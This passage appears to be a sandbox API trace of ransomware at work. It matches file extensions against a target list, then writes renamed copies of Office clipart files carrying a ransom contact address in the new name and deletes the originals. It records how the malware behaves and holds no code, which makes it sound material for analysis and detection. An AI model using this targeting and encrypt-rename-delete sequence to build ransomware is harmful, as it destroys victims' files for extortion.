	[0094.613] lstrlenW (lpString=".pdf") returned 4
	[0094.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString=".xls") returned 4
	[0094.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.613] lstrlenW (lpString=".xlsx") returned 5
	[0094.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.613] lstrlenW (lpString=".ppt") returned 4
	[0094.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.613] lstrlenW (lpString=".zip") returned 4
	[0094.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.613] lstrlenW (lpString=".rar") returned 4
	[0094.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString=".bz2") returned 4
	[0094.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString=".7z") returned 3
	[0094.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.613] lstrlenW (lpString=".dbf") returned 4
	[0094.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.613] lstrlenW (lpString=".1cd") returned 4
	[0094.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0094.613] lstrlenW (lpString=".jpg") returned 4
	[0094.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.614] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.614] lstrlenW (lpString="HH00612_.WMF") returned 12
	[0094.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.614] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=12632) returned 1
	[0094.614] CloseHandle (hObject=0x378) returned 1
	[0094.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220
	[0094.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.615] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.615] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.615] GetLastError () returned 0x0
	[0094.615] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3158, lpOverlapped=0x0) returned 1
	[0094.617] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3160, lpOverlapped=0x0) returned 1
	[0094.618] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.618] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.618] SetEndOfFile (hFile=0x364) returned 1
	[0094.618] CloseHandle (hObject=0x364) returned 1
	[0094.618] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.618] SetEndOfFile (hFile=0x378) returned 1
	[0094.619] CloseHandle (hObject=0x378) returned 1
	[0094.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1
	[0094.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.620] lstrlenW (lpString=".doc") returned 4
	[0094.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString=".docx") returned 5
	[0094.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.620] lstrlenW (lpString=".pdf") returned 4
	[0094.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString=".xls") returned 4
	[0094.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.620] lstrlenW (lpString=".xlsx") returned 5
	[0094.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.620] lstrlenW (lpString=".ppt") returned 4
	[0094.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.620] lstrlenW (lpString=".zip") returned 4
	[0094.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.620] lstrlenW (lpString=".rar") returned 4
	[0094.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString=".bz2") returned 4
	[0094.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString=".7z") returned 3
	[0094.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.620] lstrlenW (lpString=".dbf") returned 4
	[0094.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.620] lstrlenW (lpString=".1cd") returned 4
	[0094.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.620] lstrlenW (lpString=".jpg") returned 4
	[0094.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.621] lstrlenW (lpString=".doc") returned 4
	[0094.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString=".docx") returned 5
	[0094.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.621] lstrlenW (lpString=".pdf") returned 4
	[0094.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString=".xls") returned 4
	[0094.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.621] lstrlenW (lpString=".xlsx") returned 5
	[0094.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.621] lstrlenW (lpString=".ppt") returned 4
	[0094.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.621] lstrlenW (lpString=".zip") returned 4
	[0094.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.621] lstrlenW (lpString=".rar") returned 4
	[0094.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString=".bz2") returned 4
	[0094.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString=".7z") returned 3
	[0094.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.621] lstrlenW (lpString=".dbf") returned 4
	[0094.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.621] lstrlenW (lpString=".1cd") returned 4
	[0094.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0094.621] lstrlenW (lpString=".jpg") returned 4
	[0094.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.622] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.622] lstrlenW (lpString="HH00623_.WMF") returned 12
	[0094.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.622] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10644) returned 1
	[0094.622] CloseHandle (hObject=0x378) returned 1
	[0094.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220
	[0094.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.622] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.622] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.624] GetLastError () returned 0x0
	[0094.624] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x2994, lpOverlapped=0x0) returned 1
	[0094.626] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0094.627] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.627] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.627] SetEndOfFile (hFile=0x364) returned 1
	[0094.627] CloseHandle (hObject=0x364) returned 1
	[0094.627] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.627] SetEndOfFile (hFile=0x378) returned 1
	[0094.628] CloseHandle (hObject=0x378) returned 1
	[0094.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1
	[0094.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.628] lstrlenW (lpString=".doc") returned 4
	[0094.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.628] lstrlenW (lpString=".docx") returned 5
	[0094.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.628] lstrlenW (lpString=".pdf") returned 4
	[0094.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.628] lstrlenW (lpString=".xls") returned 4
	[0094.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.629] lstrlenW (lpString=".xlsx") returned 5
	[0094.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.629] lstrlenW (lpString=".ppt") returned 4
	[0094.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.629] lstrlenW (lpString=".zip") returned 4
	[0094.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.629] lstrlenW (lpString=".rar") returned 4
	[0094.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString=".bz2") returned 4
	[0094.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString=".7z") returned 3
	[0094.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.629] lstrlenW (lpString=".dbf") returned 4
	[0094.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.629] lstrlenW (lpString=".1cd") returned 4
	[0094.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.629] lstrlenW (lpString=".jpg") returned 4
	[0094.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.629] lstrlenW (lpString=".doc") returned 4
	[0094.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString=".docx") returned 5
	[0094.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.629] lstrlenW (lpString=".pdf") returned 4
	[0094.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.629] lstrlenW (lpString=".xls") returned 4
	[0094.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.629] lstrlenW (lpString=".xlsx") returned 5
	[0094.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.629] lstrlenW (lpString=".ppt") returned 4
	[0094.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.630] lstrlenW (lpString=".zip") returned 4
	[0094.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.630] lstrlenW (lpString=".rar") returned 4
	[0094.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.630] lstrlenW (lpString=".bz2") returned 4
	[0094.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.630] lstrlenW (lpString=".7z") returned 3
	[0094.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.630] lstrlenW (lpString=".dbf") returned 4
	[0094.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.630] lstrlenW (lpString=".1cd") returned 4
	[0094.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0094.630] lstrlenW (lpString=".jpg") returned 4
	[0094.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.630] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.630] lstrlenW (lpString="HH00625_.WMF") returned 12
	[0094.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.630] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2116) returned 1
	[0094.630] CloseHandle (hObject=0x378) returned 1
	[0094.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220
	[0094.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.631] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.631] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.631] GetLastError () returned 0x0
	[0094.631] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x844, lpOverlapped=0x0) returned 1
	[0094.955] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x850, lpOverlapped=0x0) returned 1
	[0094.957] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.957] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.957] SetEndOfFile (hFile=0x364) returned 1
	[0094.957] CloseHandle (hObject=0x364) returned 1
	[0094.957] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.957] SetEndOfFile (hFile=0x378) returned 1
	[0094.958] CloseHandle (hObject=0x378) returned 1
	[0094.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1
	[0094.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.958] lstrlenW (lpString=".doc") returned 4
	[0094.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.958] lstrlenW (lpString=".docx") returned 5
	[0094.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.958] lstrlenW (lpString=".pdf") returned 4
	[0094.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString=".xls") returned 4
	[0094.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.959] lstrlenW (lpString=".xlsx") returned 5
	[0094.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.959] lstrlenW (lpString=".ppt") returned 4
	[0094.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.959] lstrlenW (lpString=".zip") returned 4
	[0094.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.959] lstrlenW (lpString=".rar") returned 4
	[0094.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString=".bz2") returned 4
	[0094.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString=".7z") returned 3
	[0094.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.959] lstrlenW (lpString=".dbf") returned 4
	[0094.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.959] lstrlenW (lpString=".1cd") returned 4
	[0094.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.959] lstrlenW (lpString=".jpg") returned 4
	[0094.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.959] lstrlenW (lpString=".doc") returned 4
	[0094.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString=".docx") returned 5
